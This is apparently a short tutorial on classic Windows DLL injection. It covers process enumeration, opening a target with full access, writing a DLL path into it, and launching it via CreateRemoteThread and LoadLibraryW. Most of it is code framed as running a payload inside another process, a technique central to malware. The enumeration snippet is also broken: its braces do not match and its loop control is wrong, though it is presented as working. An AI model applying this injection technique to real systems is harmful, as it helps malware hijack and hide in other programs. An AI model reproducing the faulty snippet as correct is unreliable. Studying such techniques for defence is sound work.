Enumerate processes

This techniques is used to execute code in a remote process. A target process must be choosen. First step consists in process enumeration.

Several ways to enumerate processes exist. These will be discussed in depth in another post. At the moment we can use

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

We can then loop over processes with Process32First and Process32Next.

if (!Process32First(hSnapShot, &Proc)) {
  printf("[!] Process32First Failed With Error : %d \n", GetLastError());
  goto _EndOfFunction;
}
do {
  if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
    *dwProcessId = Proc.th32ProcessID;
    *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
    if (*hProcess == NULL)
      printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
      break; // Exit the loop
    }
}

Look at a full example in widnows documentation.

Inject DLL in the remote process

Once we got the process handle we need to inject our code using a combination of Windows APIs.

  • VirtualAllocEx - Similar to  VirtualAlloc  except it allows for memory allocation in a remote process.
  • WriteProcessMemory - Writes data to the remote process. In this case, it will be used to write the DLL’s path to the target process.
  • CreateRemoteThread - Creates a thread in the remote process
  1. First of all we need to find the adress of LoadLibraryW DLL. This function must be invoked in the remote process. Cannot be invoked locally. The adress of the function will be the same in the local and remote process.
// LoadLibrary is exported by kernel32.dll
// A handle to kernel32.dll is retrieved followed by the address of LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
  1. Next step is to allocate memory in the remote process for the string representing DLL name.
// Allocate memory the size of dwSizeToWrite (that is the size of the dll name) inside the remote process, hProcess.
// Memory protection is Read-Write
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  1. Then we write the name of our DLL to inject in the remote buffer using WriteProcessMemory WinAPI.
// The data being written is the DLL name, 'DllName', which is of size 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)
  1. Now we just need to execute the payload running a new thread through CreateRemoteThread API.

Here we pass the address of LoadLibraryW retrieved before as the starting point of our thread, with DLL name as argument.

// The thread entry will be 'pLoadLibraryW' which is the address of LoadLibraryW
// The DLL's name, pAddress, is passed as an argument to LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);